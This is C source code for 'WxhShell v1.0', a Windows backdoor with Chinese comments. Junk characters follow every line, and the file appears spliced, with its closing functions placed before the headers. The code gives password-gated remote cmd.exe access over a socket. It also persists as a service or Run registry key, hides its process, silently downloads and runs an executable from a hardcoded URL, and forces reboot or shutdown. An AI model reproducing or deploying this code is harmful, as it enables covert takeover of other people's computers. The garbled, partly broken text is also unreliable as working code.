    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {FN4BC`3+  
    if(Boot(SHUTDOWN)) R\6dvd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FA%BzU5^  
    else { hx~rq `{  
    closesocket(wsh); q(#,X~0  
    ExitThread(0); u~N'UD1x  
    } #K> Ue>hx  
    break; \/m-G:|  
    } j3 @Q  
  // 获取shell 3?&P^{  
  case 's': { %~Wr/TOt+  
    CmdShell(wsh); !i{5mc \  
    closesocket(wsh); [RDY(}P%  
    ExitThread(0); V )oKsO  
    break; weOga\  
  } @_#]7  
  // 退出 qs (L2'7/  
  case 'x': { Nfl5tI$U:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ivq|-LDNc  
    CloseIt(wsh); =AuxME g  
    break; BUBtK-n~"3  
    } ^w jMu5f  
  // 离开 )b|xzj@  
  case 'q': { m\ @Q}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W=K+kB  
    closesocket(wsh); ~^g*cA t}  
    WSACleanup(); %W2 o`W$  
    exit(1); Gx%f&H~Z^  
    break; ch/DBu  
        } 'L%)B-,n  
  } c#fSt}J>C  
  } Ee$F]NA  
<Um5w1  
  // 提示信息 cw~-%%/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ige*tOv2  
} RE;)#t?K  
  } llpgi,-=  
r)dXcus  
  return; zwlz zqV  
} (6)X Fp&  
o<Rrr,  
// shell模块句柄 XE:bYzH  
int CmdShell(SOCKET sock) xZMAX}8v  
{ '81WogH:  
STARTUPINFO si; _E^ !, Wz  
ZeroMemory(&si,sizeof(si)); *Y ?&N2@c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,Mn?h\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %cq8%RT  
PROCESS_INFORMATION ProcessInfo; 5pxw[c53#  
char cmdline[]="cmd"; ~/Kqkhq+c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *nY$YwHB  
  return 0; S^SF!k=  
} ~:UAL}b{\~  
~=Fp0l)#  
// 自身启动模式 Rdy-6  
int StartFromService(void) Ke\FzZ]  
{ U]iZ3^8VT  
typedef struct W=!D[G R  
{ 5e c T.  
  DWORD ExitStatus; 0&6(y* #Z  
  DWORD PebBaseAddress; ru*}lDJ  
  DWORD AffinityMask; ]~'pYOB  
  DWORD BasePriority; +tv"j;z  
  ULONG UniqueProcessId; SiT5QJe  
  ULONG InheritedFromUniqueProcessId; J~5+=V7OV  
}   PROCESS_BASIC_INFORMATION; | +aD%'|  
IOH6h=  
PROCNTQSIP NtQueryInformationProcess; /| [%~`?BM  
tfd!;`B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 212  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +?C7(-U>  
8wzQr2:  
  HANDLE             hProcess; 5S%#3YHY2  
  PROCESS_BASIC_INFORMATION pbi; }vX/55  
^cI RP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @9h6D<?  
  if(NULL == hInst ) return 0; [F^j(qTR  
e:iqv?2t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J<ZG&m362p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /h K/t;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iaQ3mk#  
2NWQiSz  
  if (!NtQueryInformationProcess) return 0; R-BN}ZS  
m)xz_Plc  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !;&{Q^}  
  if(!hProcess) return 0; PA${<wyBR_  
+C`zI~8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R"{oj]d;$F  
,) 3Eog\-  
  CloseHandle(hProcess); 0d #jiG  
<Lfo5:.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qf B!)Y  
if(hProcess==NULL) return 0; U$6(@&P!  
>Te h ?P  
HMODULE hMod; [kPF Jf  
char procName[255]; d /`d:g  
unsigned long cbNeeded; #9@UzfZAwT  
-f%J_`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .Gnzu"lod  
)ZDqj  
  CloseHandle(hProcess); 1H7 bPl|  
690;\O '  
if(strstr(procName,"services")) return 1; // 以服务启动 :3By7BZgj  
K}Rq<z W  
  return 0; // 注册表启动 iVf8M$!m  
} C3e0d~C  
#w]@yL]|is  
// 主模块 +Uf+`  
int StartWxhshell(LPSTR lpCmdLine) ]*pro|  
{ &l(PWU  
  SOCKET wsl; bxF'`^En  
BOOL val=TRUE; [X'u={  
  int port=0; {{e+t8J??  
  struct sockaddr_in door; \PgMMc4'  
=s h]H$  
  if(wscfg.ws_autoins) Install(); ?89 _2W  
%&S :W%qm?  
port=atoi(lpCmdLine); j<_)Y(x>  
?wbf)fbq  
if(port<=0) port=wscfg.ws_port; D=!5l4  
WxF0LhM  
  WSADATA data; bWfT-Jewh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $|!@$Aj  
9i/VvW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _J33u3v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?M@ff0  
  door.sin_family = AF_INET; @N+6qO}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XiN@$  
  door.sin_port = htons(port); _6{XqvWqb  
x_BnWFP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J+0T8 ?A  
closesocket(wsl); $ 2PpG|q  
return 1; !6DH6<HC  
} fs%l j_t  
)w&k&TY4H  
  if(listen(wsl,2) == INVALID_SOCKET) { R{SN.%{;  
closesocket(wsl); C(lGW,!  
return 1; "}jv5j5  
} lc\f6J>HT  
  Wxhshell(wsl); "*0h=x$  
  WSACleanup(); _t;Mi/\P  
!d3:`l<  
return 0; eU m,=s  
WxI_wRKx  
} dI$M9;  
rQ287y{  
// 以NT服务方式启动 cXG$zwS\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q[.HoqWK  
{ ?cD2EX%(  
DWORD   status = 0; r@]iy78 j  
  DWORD   specificError = 0xfffffff; .3< sv  
?D`h[ai  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I 7s}{pG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; cr<ty"3\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /;a b"b  
  serviceStatus.dwWin32ExitCode     = 0; /U =eB?>  
  serviceStatus.dwServiceSpecificExitCode = 0; C9%2}E3Z$)  
  serviceStatus.dwCheckPoint       = 0; P`!31P#]L  
  serviceStatus.dwWaitHint       = 0;  ~xV|<;  
Ym/y2B(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0X[uXf  
  if (hServiceStatusHandle==0) return; s2Hx ?~  
)-_To&S*  
status = GetLastError(); $kCLS7 *  
  if (status!=NO_ERROR) Iji9N!Yx  
{ %SlF7$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B_#U|10et  
    serviceStatus.dwCheckPoint       = 0; [_wenlkm  
    serviceStatus.dwWaitHint       = 0; "`8~qZ7k  
    serviceStatus.dwWin32ExitCode     = status; ju{\7X5  
    serviceStatus.dwServiceSpecificExitCode = specificError; }KCb5_MDF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3lD1G~  
    return; |\_d^U &`  
  } fPu,@ L  
^TCgSi7k`L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qJPEq%'Q  
  serviceStatus.dwCheckPoint       = 0; w.6Gp;O  
  serviceStatus.dwWaitHint       = 0; QpC,komLJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :bV1M5  
} >xJh!w<pB  
w,v~  
// 处理NT服务事件,比如:启动、停止 9$oU6#U,h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1feS/l$  
{ pXv@ QD#!  
switch(fdwControl) t (>}  
{ &S|%>C{P.w  
case SERVICE_CONTROL_STOP: hAv.rjhw_  
  serviceStatus.dwWin32ExitCode = 0; EAi!"NJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tWN hFQ'  
  serviceStatus.dwCheckPoint   = 0; ^J{tOxO=l  
  serviceStatus.dwWaitHint     = 0; 1pT-PO 3=  
  { iF1E 5{dH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "<5su5]  
  } :*MqYny&  
  return; > qhoGg  
case SERVICE_CONTROL_PAUSE: zOzobd   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^ H )nQ  
  break; p!]$!qHO (  
case SERVICE_CONTROL_CONTINUE: u#uT|a.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F1aI4H<(T  
  break; %qj8*1  
case SERVICE_CONTROL_INTERROGATE: Az"(I>VfD  
  break; }"CX`  
}; S LSbEm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rx>>0%e.  
} 6 (@U+`  
6~_ TXy/  
// 标准应用程序主函数 rfVHPMD0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P&0o~@`cL  
{ I"1H]@"=  
Y4.t:Uzr  
// 获取操作系统版本 zPKx: I3  
OsIsNt=GetOsVer(); }g\1JSJ%H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); drc]"6 k  
A:-r 2;xB  
  // 从命令行安装 quEP"  
  if(strpbrk(lpCmdLine,"iI")) Install(); G^Q8B^Lg  
C_~hX G  
  // 下载执行文件 8Q2qroT  
if(wscfg.ws_downexe) { ':jsCeSB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @CJ`T&  
  WinExec(wscfg.ws_filenam,SW_HIDE);  edv&!  
} G$)f5_]7{  
>PBP:s1f4>  
if(!OsIsNt) { eVy>  
// 如果时win9x,隐藏进程并且设置为注册表启动 $xl>YYEBMH  
HideProc(); +>uiI4g  
StartWxhshell(lpCmdLine); -lNq.pp3-$  
} tB i16=  
else wmQT$`$b  
  if(StartFromService()) ~7}aW#  
  // 以服务方式启动 wxx3']:  
  StartServiceCtrlDispatcher(DispatchTable); Z+G.v=2q<  
else y$7vJl.uS/  
  // 普通方式启动 8:)W!tr  
  StartWxhshell(lpCmdLine); ,fa'  
2[8C?7_K0?  
return 0; r%^l~PN  
} Gec?  
^[]@dk9  
c4'k-\JvT  
f1_b``M  
=========================================== #OT8_D  
c{X:0man  
lPywr TG0  
[m9Iz!E  
%Ct^{k~1  
f*IC ZM  
" Z&VH7gi  
x]=s/+Y  
#include <stdio.h> 7ZsBYP8%  
#include <string.h> RrG5`2  
#include <windows.h> 7i$)iNW  
#include <winsock2.h> sOY+ X  
#include <winsvc.h> f0lpwwe  
#include <urlmon.h> x&kM /z?/  
+"i|)yUYy}  
#pragma comment (lib, "Ws2_32.lib") K_" denzT+  
#pragma comment (lib, "urlmon.lib") &*4C{N  
nbECEQ:|B  
#define MAX_USER   100 // 最大客户端连接数 dpPu&m+  
#define BUF_SOCK   200 // sock buffer ZHWxU  
#define KEY_BUFF   255 // 输入 buffer 5@kNvi  
oXxY$x*R1  
#define REBOOT     0   // 重启 \[57Dmo  
#define SHUTDOWN   1   // 关机 ,R~{$QUl  
jrl'?`O  
#define DEF_PORT   5000 // 监听端口 aA|<W g  
,@#))2<RK  
#define REG_LEN     16   // 注册表键长度 +p Y*BP+~i  
#define SVC_LEN     80   // NT服务名长度 |*T3TsP u  
~g|Z6-?4Jj  
// 从dll定义API B,_/'DneQK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1#D&cx6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M:9 6QM~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {%"n[DLps  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $q iY)RE  
pr) `7VuKp  
// wxhshell配置信息 R'udC}  
struct WSCFG { ?m(]@6qa  
  int ws_port;         // 监听端口 s6k@WT?"^  
  char ws_passstr[REG_LEN]; // 口令 a At<36{?  
  int ws_autoins;       // 安装标记, 1=yes 0=no )#H&lH  
  char ws_regname[REG_LEN]; // 注册表键名 L^{1dVGWNa  
  char ws_svcname[REG_LEN]; // 服务名 6Kbc:wlR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E<~Fi .M;\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X^td`}F/=V  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 djk?;^8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Jx jP'8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +~x'1*A_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %lbDcEsf9  
Oe/&Ryj=mm  
}; g"dq;H  
hp$/O4fD  
// default Wxhshell configuration %wDE+&M  
struct WSCFG wscfg={DEF_PORT, >STAPrBp+  
    "xuhuanlingzhe", zarxv| }$  
    1, BWWO=N  
    "Wxhshell", P5K=S.g  
    "Wxhshell", v/m} {&K  
            "WxhShell Service", R_7[7 /a  
    "Wrsky Windows CmdShell Service", wigs1  
    "Please Input Your Password: ", j v4O  
  1, J_|LG rt})  
  "http://www.wrsky.com/wxhshell.exe", F+m%PVW:  
  "Wxhshell.exe" 2YbI."ob  
    }; D"z3SLFW{  
"?X,);5S  
// 消息定义模块 A5\00O~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X9-WU\?UC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; nqFJNK]a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ){I0  
char *msg_ws_ext="\n\rExit."; cS2PrsUx  
char *msg_ws_end="\n\rQuit."; 4m:D8&D_M  
char *msg_ws_boot="\n\rReboot..."; ^7Hwpn7E  
char *msg_ws_poff="\n\rShutdown..."; C$+z1z.!  
char *msg_ws_down="\n\rSave to "; VL?sfG0  
Mjon++>Z  
char *msg_ws_err="\n\rErr!"; w wuM!Z+  
char *msg_ws_ok="\n\rOK!"; k Xg&}n7  
Lhz*o6)  
char ExeFile[MAX_PATH]; Sk6B>O<:  
int nUser = 0; zJ $&`=  
HANDLE handles[MAX_USER]; '-l.2IUyT  
int OsIsNt; q^w@l   
E xls_oSp  
SERVICE_STATUS       serviceStatus; }mYxI^n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7K 'uNPC  
zzH^xxg  
// 函数声明 )z^NJ'v4(  
int Install(void); lZr}F.7  
int Uninstall(void); w!eY)p<  
int DownloadFile(char *sURL, SOCKET wsh); {M^BY,%*  
int Boot(int flag); cp)BPg  
void HideProc(void); */6lyODf  
int GetOsVer(void); TFAd  
int Wxhshell(SOCKET wsl);  3cA '9  
void TalkWithClient(void *cs); 4aGVIQ  
int CmdShell(SOCKET sock); $VxKv7:  
int StartFromService(void); GiK4LJ~cH)  
int StartWxhshell(LPSTR lpCmdLine); E~y( @72)  
hjgB[ &U>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  W<@9ndvH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ib\_MNIb  
Tfz _h~D  
// 数据结构和表定义 E Xxv  
SERVICE_TABLE_ENTRY DispatchTable[] = _qO'(DKylC  
{ Tpd|+60g  
{wscfg.ws_svcname, NTServiceMain}, F+SqJSa  
{NULL, NULL} 4~K%,K+Du  
}; j2RdBoCt  
0sA+5*mdM  
// 自我安装 KSAE!+  
int Install(void) ;I/ A8<C  
{ I'E7mb<2  
  char svExeFile[MAX_PATH]; {ew; /;  
  HKEY key; 4o<rj4G>  
  strcpy(svExeFile,ExeFile); #I"s{*  
[0n[\& 0  
// 如果是win9x系统,修改注册表设为自启动 /&  W&  
if(!OsIsNt) { ZYS]Et[Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |JLXgwML  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oMNSQMlI  
  RegCloseKey(key); T'> MXFLh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &\y`9QpVF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AGGT] 58|  
  RegCloseKey(key); Nl'@Y^8N  
  return 0; Lb,wn{  
    } d.0K~M   
  } QnA~,z/ .w  
} =z!^O T6eb  
else { .>a [  
{SkE`u4Sz  
// 如果是NT以上系统,安装为系统服务 = inp>L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o/6VOX  
if (schSCManager!=0) ri%j*Kn  
{ k2O3{xIjc  
  SC_HANDLE schService = CreateService 4l`[,BJ  
  ( =/!RQQ|8o  
  schSCManager, aH?+^f"D  
  wscfg.ws_svcname, >r3SF3XMq  
  wscfg.ws_svcdisp,  b]gVZ-  
  SERVICE_ALL_ACCESS, RcC5_@W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Yi j^hs@eV  
  SERVICE_AUTO_START, hXh nJ  
  SERVICE_ERROR_NORMAL, Ae[fW97  
  svExeFile, 4a=QTq0p  
  NULL, aka)#0l .  
  NULL, FP'-=zgc  
  NULL, 7^7Jh&b)/  
  NULL, #U(kK(uO  
  NULL `&9iC 4P  
  ); 63i&<  
  if (schService!=0) 3$_JNF`  
  { dmWCNeja.  
  CloseServiceHandle(schService); T#<Q[h=  
  CloseServiceHandle(schSCManager); (6Ciqf8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !nsx!M  
  strcat(svExeFile,wscfg.ws_svcname); %:v<&^oDlm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?>Ngsp>-P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2?{'(i ay  
  RegCloseKey(key); 9:*[Q"v  
  return 0; 6>]w1 H  
    } ;0U*N& f  
  } aaP6zJXi  
  CloseServiceHandle(schSCManager); iB|htH'T  
} nV`U{}x  
} Ci4; e  
U&ytZ7iB  
return 1; #jh5%@  
} UM/!dt}DnF  
{;N2 &S o  
// 自我卸载 u M\5GK  
int Uninstall(void) -xG6J.S  
{ osl\j]U8  
  HKEY key; 2qot(Zs1i  
,+ 5:}hR+  
if(!OsIsNt) { d'"|Qg_'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  wX5q=I  
  RegDeleteValue(key,wscfg.ws_regname); d N$,AOT  
  RegCloseKey(key); dVUe!S`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W4,'?o  
  RegDeleteValue(key,wscfg.ws_regname); ('{aOiSH  
  RegCloseKey(key); CBv0fQtL  
  return 0; PXyv);#Q`  
  } ):[}NDmC  
} p|(SR~;6  
} HB{'MBs  
else { OD9z7*E@  
!,dp/5 V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XF+4*),  
if (schSCManager!=0) I(Z\$  
{ zu.B>INe  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zE<Iv\Q  
  if (schService!=0) dr(-k3ex  
  { 14"+ctq  
  if(DeleteService(schService)!=0) { +4  h!;i  
  CloseServiceHandle(schService); i)'tt9f$  
  CloseServiceHandle(schSCManager); p="0Y<2l  
  return 0; v2I? 5?j  
  } v<t?t<|J  
  CloseServiceHandle(schService); e_|Z&  
  } 4i PVpro  
  CloseServiceHandle(schSCManager); ~8yh,U  
} tXqX[Td`0g  
} 51`&%V{daL  
}h=PW'M{  
return 1; M\/hK2J# #  
} ]BUirJ,2  
x. #E3xI  
// 从指定url下载文件 $4^SWT.  
int DownloadFile(char *sURL, SOCKET wsh) WrSc@j&Ycv  
{ KzP{bK5/  
  HRESULT hr; qDG2rFu&[  
char seps[]= "/"; T@=C2 1  
char *token; .9J}Z^FD  
char *file; Q`W2\Kod]  
char myURL[MAX_PATH]; P6O\\,B1A  
char myFILE[MAX_PATH]; $~iZaX8&  
zPc"r$'0 U  
strcpy(myURL,sURL); x+j@YWDpG"  
  token=strtok(myURL,seps); P%)r4+at  
  while(token!=NULL) 6Iqy"MQuq  
  { pr,,E[  
    file=token; )A xD|A  
  token=strtok(NULL,seps); ^Fh*9[Zf$  
  } FuBt`H  
v7SYWO#  
GetCurrentDirectory(MAX_PATH,myFILE); 9(J,&)J  
strcat(myFILE, "\\"); n| {#5#  
strcat(myFILE, file); SDC'S]{ew  
  send(wsh,myFILE,strlen(myFILE),0); N[e,%heR  
send(wsh,"...",3,0); :-5[0Mx=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W;yc)JB   
  if(hr==S_OK) Eamt_/LKf  
return 0; Y X^c}t}U  
else [8a(4]4  
return 1; e.skE>&  
|$b8(g$s)  
}  [#C6K '  
GdcXU:J /  
// 系统电源模块 >x JzV  
int Boot(int flag) !8[T*'LJ-  
{ 4`,7 tj  
  HANDLE hToken; DtFHh/X  
  TOKEN_PRIVILEGES tkp; 9xO@_pkX  
K^U ="  
  if(OsIsNt) { H7GI`3o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ZX` \so,&,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); DH yv^  
    tkp.PrivilegeCount = 1; 2t9UJu4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w8w0:@0(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l)vC=V6MG  
if(flag==REBOOT) { %+=;4tHJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -R]0cefC<f  
  return 0; Bd <0}  
} P*A+k"DU1  
else { zXx/\B$&d*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fJ[ ^_,O  
  return 0; m~5 unB9  
} Cd_@<  
  } h/t;ZLUAZP  
  else { (<r)xkn  
if(flag==REBOOT) { tg@61V?>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .s9E +1  
  return 0; A{ ~D_q  
} -n&&d8G^s  
else { :31_WJ^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ()IZ7#kL?  
  return 0; Ik$$Tn&;  
} J`U]Ux/L  
} !:!(=(4$P  
pE&G]ZC  
return 1; V ml 6\X  
} >) u;X  
D{6 y^@/  
// win9x进程隐藏模块 ?"mZb#%  
void HideProc(void) }bv+^#  
{ PPB/-F]rr  
(s,&,I=@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ID2->J  
  if ( hKernel != NULL ) (vO3vCYeQ  
  { ]]PNYa  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7b[s W|{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SG)Fk *1  
    FreeLibrary(hKernel); EL$DvJ~  
  } <#h,_WP*  
z3uR1vF'  
return; {6v.(Zlh$  
} TQT3]h6  
bO\++zOF  
// 获取操作系统版本 -/pz3n  
int GetOsVer(void) pPBXUu'  
{ |CDM(g>%  
  OSVERSIONINFO winfo; V|MHDMD=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p>7qyZ8  
  GetVersionEx(&winfo); &SE}5ddC7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bgi_QB#k\  
  return 1; no3yzF3Hi  
  else v1,#7s AW'  
  return 0; %]_: \!  
} 7H Dc]&z  
HLW_Y|QaFo  
// 客户端句柄模块 'z. GAR  
int Wxhshell(SOCKET wsl) $Y|OGZH8E  
{ |reA`&<q  
  SOCKET wsh; !FL"L 9   
  struct sockaddr_in client; ;#85 _/  
  DWORD myID; 9r].rzf9  
R'k `0  
  while(nUser<MAX_USER) >J7slDRo  
{ FMVAXOO  
  int nSize=sizeof(client); /y G34) aB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =HCEUB9Fs  
  if(wsh==INVALID_SOCKET) return 1; B-MS@ <2  
,a{85HLr]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rkjnw@x\  
if(handles[nUser]==0) 5G`HJ6  
  closesocket(wsh); hI:.Qp`r  
else ']1n?K=A  
  nUser++; l;iU9<~  
  } mH$tG $  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <Q~N9W  
r @4A% ql<  
  return 0; KV_/fa~Ry  
} =~+ WJN  
-Q n-w3~&  
// 关闭 socket 4/b.;$  
void CloseIt(SOCKET wsh) ,W}:vdC  
{ ( V4Ppg  
closesocket(wsh); dipfsH]p  
nUser--; eA4D.7HDK  
ExitThread(0); ,m=G9QcN  
} EB[T 5{  
N(7 XILC  
// 客户端请求句柄 _eKO:Y[e  
void TalkWithClient(void *cs) pN[WYM?[  
{ vh a9,5_  
bTum|GWf  
  SOCKET wsh=(SOCKET)cs; #dZs[R7h  
  char pwd[SVC_LEN]; 1C<cwd;9  
  char cmd[KEY_BUFF]; CeYhn\m5K0  
char chr[1]; n5$#M  
int i,j; 4H#-2LV`  
x(Bt[=,K3  
  while (nUser < MAX_USER) { 62sl6WWS3  
PQ 4mNjXN  
if(wscfg.ws_passstr) { RsZj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;ek*2Lh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y :!L  
  //ZeroMemory(pwd,KEY_BUFF); 2`4m"DtA  
      i=0; FgH7YkKrD  
  while(i<SVC_LEN) { {XOl &  
i1B!oZ3q  
  // 设置超时 |`LH|6/  
  fd_set FdRead; j$)ogGu  
  struct timeval TimeOut; sLr47 NC  
  FD_ZERO(&FdRead); Ek L2nI  
  FD_SET(wsh,&FdRead); u_k[< &$  
  TimeOut.tv_sec=8; iJzBd7  
  TimeOut.tv_usec=0; WWunS|B!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ab6I*DbF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ''nOXl  
h$02#(RHJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )=5 &Q  
  pwd=chr[0]; LCB-ewy#E  
  if(chr[0]==0xd || chr[0]==0xa) { \4N8-GwZQ  
  pwd=0; RrMEDMhk6  
  break; :*Wq%Y=  
  } sM-,95H  
  i++; VhO%4[Jl  
    } l!tR<$|  
296}LW  
  // 如果是非法用户,关闭 socket sycAAmH<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yqx5_}  
} 4,)9@-|0R  
u9!  ?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4'O,xC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "/'3I/}  
(7R?T}  
while(1) { y#GHmHeh  
Cy;UyZ  
  ZeroMemory(cmd,KEY_BUFF); q}LDFsU  
i\sBey ND"  
      // 自动支持客户端 telnet标准   dbby.%  
  j=0; T-] {gc  
  while(j<KEY_BUFF) { ? Lg(,-:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E=8'!  
  cmd[j]=chr[0]; c~ R'`Q  
  if(chr[0]==0xa || chr[0]==0xd) { Xd(^7~i  
  cmd[j]=0; 3}|[<^$  
  break; ,\M77V  
  } Y ^+x<  
  j++; U,#~9  
    } ]X6<yzu&+l  
p\&O;48=  
  // 下载文件 D4L&6[W  
  if(strstr(cmd,"http://")) { Bv<gVt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %,@pV%2  
  if(DownloadFile(cmd,wsh)) p{w-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tdi^P}i_  
  else =~;~hZj  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .a@12J(I  
  } nj s:  
  else { $*0-+h  
^\}qq>_  
